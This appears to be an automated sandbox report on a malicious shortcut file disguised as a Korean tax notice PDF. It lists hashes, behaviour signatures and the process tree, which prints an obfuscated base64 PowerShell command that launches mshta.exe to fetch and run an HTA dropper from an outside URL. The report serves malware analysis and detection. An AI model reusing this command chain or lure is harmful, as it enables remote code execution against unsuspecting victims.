Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/07/2026, 12:20

General

  • Target
    국세 고지서.pdf.lnk
  • Size 2KB
  • Sample260717-ph1vjaev6s
  • SHA256 e45e9f204f3116fe9e84441321855c88e45c79ad50bb5d2ec48d061a03ffaddb
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://link24.kr/GP5DOdo

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\국세 고지서.pdf.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3332
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAG0AcwBgAGgAdABhACAAIAAgACAAIAAgACAAIgBoAHQAdABwAHMAOgAvAC8AbABpAG4AawAyADQALgBrAHIALwBHAFAANQBEAE8AZABvACIA
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4984
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://link24.kr/GP5DOdo
        3⤵
        • Badlisted process makes network request
        PID:1268

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/4984-2-0x00007FFB7385F000-0x00007FFB73860000-memory.dmp

        memory/4984-5-0x0000023157B00000-0x0000023157B22000-memory.dmp

        memory/4984-6-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

        memory/4984-7-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

        memory/4984-8-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

        memory/4984-10-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

        memory/4984-11-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp